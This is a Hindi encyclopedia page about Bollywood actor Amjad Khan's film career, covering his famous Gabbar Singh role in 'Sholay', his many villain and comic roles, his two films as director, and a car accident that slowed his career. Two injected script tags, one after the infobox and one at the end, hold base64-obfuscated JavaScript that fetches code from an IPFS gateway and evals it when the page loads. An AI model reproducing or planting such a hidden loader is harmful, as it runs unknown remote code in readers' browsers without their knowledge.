अमजद ख़ान का फ़िल्मी कॅरियर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
अमजद ख़ान का फ़िल्मी कॅरियर
अमजद ख़ान
पूरा नाम अमजद ख़ान
जन्म 12 नवंबर, 1940
जन्म भूमि पेशावर, भारत (आज़ादी से पूर्व)
मृत्यु 27 जुलाई, 1992
मृत्यु स्थान मुम्बई, महाराष्ट्र
संतान पुत्र- शादाब ख़ान, सीमाब ख़ान, पुत्री- एहलम ख़ान
कर्म भूमि भारत
कर्म-क्षेत्र फ़िल्म अभिनेता, फ़िल्म निर्देशक
मुख्य फ़िल्में शोले, 'परवरिश', 'मुकद्दर का सिकंदर', 'लावारिस', 'हीरालाल-पन्नालाल', 'सीतापुर की गीता', 'हिम्मतवाला', 'कालिया' आदि।
प्रसिद्धि गब्बर सिंह का किरदार
विशेष योगदान अमजद ख़ान ने हिन्दी सिनेमा के खलनायक की भूमिका के लिए इतनी लंबी लकीर खींच दी थी कि आज तक उससे बड़ी लकीर कोई नहीं बना पाया है।
नागरिकता भारतीय
अन्य जानकारी अमजद ख़ान ने बतौर कलाकार अपने अभिनय जीवन की शुरूआत वर्ष 1957 में प्रदर्शित फ़िल्म 'अब दिल्ली दूर नहीं' से की थी। इस फ़िल्म में अमजद ख़ान ने बाल कलाकार की भूमिका निभायी थी।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अमजद ख़ान विषय सूची

फ़िल्म 'शोले' का डाकू गब्बर सिंह हिंदी सिनेमा का पहला खलनायक था, जिसने नायक-सी लोकप्रियता हासिल की। तभी तो बिस्किट बनाने वाली प्रसिद्ध कम्पनी ब्रिटैनिया ने गब्बर को अपने ग्लूकोज बिस्किट के विज्ञापन के लिए चुना था। यह विज्ञापन ‘गब्बर की असली पसंद’ की पंचलाइन के साथ लोकप्रिय हुआ था। भारतीय समाज में यह पहली बार था, जब किसी कंपनी ने अपने प्रोडक्ट के प्रचार के लिए किसी खलनायक को चुना था। हालांकि कई लोग मानते हैं कि 'शोले' का असली खलनायक तो ठाकुर था, जिसने अपने आदमी खड़े किए और अंत में गब्बर को मरवा दिया। अमजद ख़ान ने ‘चोर सिपाही’ और ‘अमीर आदमी ग़रीब आदमी’ नाम की दो फ़िल्मों का निर्देशन भी किया, लेकिन दूसरी फ़िल्म नहीं चली तो दोबारा निर्देशन में हाथ नहीं डाला। वे जब तक जिये, गब्बर बनकर ही जिये और इस किरदार को इस कदर अमर कर गए कि गब्बर सिंह की चमक आज भी कायम है।

कॅरियर

अपने 16 साल के फ़िल्मी कॅरियर में अमजद ख़ान ने लगभग 130 फ़िल्मों में काम किया। उनकी प्रमुख फ़िल्में 'आखिरी गोली', 'हम किसी से कम नहीं', 'चक्कर पे चक्कर', 'लावारिस', 'गंगा की सौगंध', 'बेसर्म', 'अपना खून', 'देश परदेश', 'कसमे वादे', 'क़ानून की पुकार', 'मुक्कद्दर का सिकंदर', 'राम कसम', 'सरकारी मेहमान', 'आत्माराम', 'दो शिकारी', 'सुहाग', 'द ग्रेट गैम्बलर', 'इंकार', 'यारी दुश्मनी', 'बरसात की एक रात', 'खून का रिश्ता', 'जीवा', 'हिम्मतवाला', 'सरदार', 'उत्सव' आदि है, जिसमें उन्होंने शानदार अभिनय किया। अमजद जी अपने काम के प्रति बेहद गम्भीर व ईमानदार थे। परदे पर वे जितने खूंखार और खतरनाक इंसानों के पात्र निभाते थे, उतने ही वे वास्तविक जीवन और निजी जीवन में एक भले हँसने-हँसाने और कोमल दिल वाले इंसान थे।


फ़िल्म 'शोले' की सफलता के बाद अमजद ख़ान ने बहुत-सी हिंदी फ़िल्मों में खलनायक की भूमिका की। 70 से 80 और फिर 90 के दशक में उनकी लोकप्रियता बरक़रार रही। उन्होंने डाकू के अलावा अपराधियों के आका, चोरों के सरदार और हत्यारों के पात्र निभाए। उनकी ज्यादातर फ़िल्मों में अमिताभ ने हीरो की भूमिका निभाई। बॉलीवुड में अमिताभ बच्चन, अमजद और कादर ख़ान तीनों की दोस्ती मशहूर थी। उन्होंने फ़िल्म 'याराना' में अमिताभ के दोस्त और फ़िल्म 'लावारिस' में पिता की भूमिका की थी। उन्होंने कुछ हास्य किरदार भी निभाए, जिसमें फ़िल्म 'कुर्बानी', 'लव स्टोरी' और 'चमेली की शादी' में उनके कॉमिक रोल को खूब पसंद किया गया। 80 के दशक में उन्होंने दो फ़िल्में बनायीं थी। सन 1983 में 'चोर पुलिस' जो कि सफल रही और 1985 में 'अमीर आदमी ग़रीब आदमी' जो की बॉक्स ऑफिस पर फेल हो गयी।

फ़िल्म निर्माण

अमजद ख़ान के बारे में माना जाता है कि वे राजनीति से दूर एक सच्चे और सीधे इंसान थे। अपने साथी कलाकारों में उनकी लोकप्रियता का अनुमान इससे लगाया जा सकता है कि वे दूसरी बार 'सिने आर्टिस्ट एसोसिएशन' के अध्यक्ष चुने गए थे। अमजद को निजी जिंदगी में जिस तरह 'शोले' ने उठाया, उसी तरह 'द ग्रेट गैम्बलर' ने नीचे भी ला दिया। फ़िल्म 'द ग्रेट गैम्बलर' की शूटिंग के दौरान गोवा से बंबई आते समय एक कार दुर्घटना में उनके शरीर की हड्डियां टूट गईं। किसी तरह वे बच गए, लेकिन दवाइयों के असर ने उन्हें भारी भरकम बना दिया, जिस कारण वे कैमरे के लैंस में मिस फिट होने लगे। उन्हें काम भी कम मिलने लगा था। खासकर मोटे किरदार में उन्हें लिया जाता था। जब अमजद ख़ान के पास फ़िल्में कम हो गईं तो अपने को व्यस्त रखने के लिए उन्होंने फ़िल्म निर्माण का काम शुरू किया। पहली फ़िल्म 'चोर पुलिस' बनाई, लेकिन वह सेंसर में ऐसी फंसी कि जब निकली, तो टुकड़े-टुकड़े होकर और वह कुछ खास न कर सकी। दूसरी फ़िल्म 'अमीर आदमी ग़रीब आदमी' थी, जो कामगारों के शोषण पर आधारित थी। तीसरी फ़िल्म उन्होंने अमिताभ बच्चन के साथ बनानी चाही, जिसका नाम था 'लम्बाई-चौड़ाई', लेकिन यह फ़िल्म सेट पर नहीं गई।

चरित्र और हास्य भूमिकाएँ

अमजद ख़ान ने अपने लंबे करियर में ज्यादातर नकारात्मक भूमिकाएँ निभाईं। अमिताभ बच्चन, धर्मेन्द्र जैसे सितारों के सामने दर्शक उन्हें खलनायक के रूप में देखना पसंद करते थे और वे स्टार विलेन थे। इसके अलावा उन्होंने कुछ फ़िल्मों में चरित्र और हास्य भूमिकाएँ अभिनीत की, जिनमें शतरंज के खिलाड़ी, दादा, कुरबानी, लव स्टोरी, याराना प्रमुख हैं। निर्देशक के रूप में भी उन्होंने हाथ आजमाए। चोर पुलिस (1983) और अमीर आदमी ग़रीब आदमी (1985) नामक दो फ़िल्में उन्होंने बनाईं, लेकिन इनकी असफलता के बाद उन्होंने फिर कभी फ़िल्म निर्देशित नहीं की। अमजद अपनी सफलता और अभिनेता के करियर को इतनी ऊँचाई देने का श्रेय पिता जयंत को देते हैं। पिता को गुरु का दर्जा देते हुए उन्होंने कहा था कि रॉयल अकादमी ऑफ ड्रामेटिक आर्ट अपने छात्रों को जितना सिखाती है, उससे ज्यादा उन्होंने अपने पिता से सीखा है। नेशनल स्कूल ऑफ ड्रामा में यदि उन्होंने प्रवेश लिया होता, तो भी इतनी शिक्षा नहीं मिल पाती। उनके पिता उन्हें आखिरी समय तक अभिनय के मंत्र बताते रहे।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

अमजद ख़ान विषय सूची

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>